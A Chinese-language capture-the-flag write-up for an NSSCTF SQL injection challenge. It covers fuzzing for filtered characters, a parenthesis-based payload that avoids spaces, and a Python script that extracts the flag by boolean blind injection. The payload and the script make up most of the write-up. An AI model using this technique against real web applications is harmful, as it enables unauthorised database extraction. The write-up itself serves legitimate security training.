1.知道一个表flag,表中有字段flag---》可以直接跳到查数据那一步啊
2.输入--+、#、'、"等都不行---》用fuzz测试查看过滤了那些
1. 题目给了一个输入框,很明显是要注入
先尝试随便提交点东西:
- 传入
1
:
- 传入
1'
:
- 传入
1"
:
可以看出题目应该是过滤了一些字符
2. 下面我们抓包进行Fuzz测试判断过滤了哪些字符
回显长度为490的被过滤了,看其他师傅的wp,好像还过滤了不少字符,但我这没扫出来:
因为给了flag的位置了,我们可以直接构造payload:
id=(select(ascii(mid(flag,1,1))=78)from(flag))
利用
()
绕过空格过滤该payload最内层,mid表示从flag列的第一个字符开始截取长度为1的子字符串
第二层ascii用于判断截取出来的子字符串的ascii码值是否为78(即N,flag格式为NSSCTF{})
若是,则页面回显
id=1
的页面
回显正常,那么此时利用脚本进行盲注:
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://node2.anna.nssctf.cn:28841/index.php'
blind_injection(url)
最终得到flag